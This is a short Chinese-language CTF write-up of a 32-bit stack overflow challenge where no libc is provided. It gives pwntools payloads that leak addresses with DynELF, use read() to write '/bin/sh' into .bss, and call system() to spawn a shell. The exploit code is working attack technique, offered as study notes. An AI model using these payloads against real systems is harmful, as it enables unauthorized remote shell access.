与level3相比没有提供libc.so文件。
第一步学习使用Dynelf获取服务器函数地址:
def leak(address):
payload1='a'*0x88+'bbbb'+p32(write_addr)+p32(vul_addr)+p32(1)+p32(address)+p32(4)
r.send(payload1)
data=r.recv(4)
return data
d=DynELF(leak,elf=e)#注意格式
sys_addr=d.lookup('system','libc') #查询某函数地址
第二步,由于目前不知道怎么用dynelf找字符串"bin/sh",因此网上查看wp,可以把字符串传进bss段,不能放栈上是因为函数结束时会销毁栈。
利用构造read(0,addr,len),然后send(字符串),就会将字符串保存至addr处的len长度。
read_addr=e.symbols['read']
payload2='a'*0x88+'bbbb'+p32(read_addr)+p32(vul_addr)+p32(0x0)+p32(bss_addr)+p32(0x8)
r.send(payload2)
r.sendline('/bin/sh')
这里一开始想不明白e.symbols不是应该是本地的地址吗,后来知道了e.symbols是plt表项的地址,和服务器是一样的,同理got表。
第三步调用system("/bin/sh")
payload3='a'*0x88+'bbbb'+p32(sys_addr)+'junk'+p32(bss_addr)
r.send(payload3)
r.interactive()
现在对plt和got的概念还是有点模糊。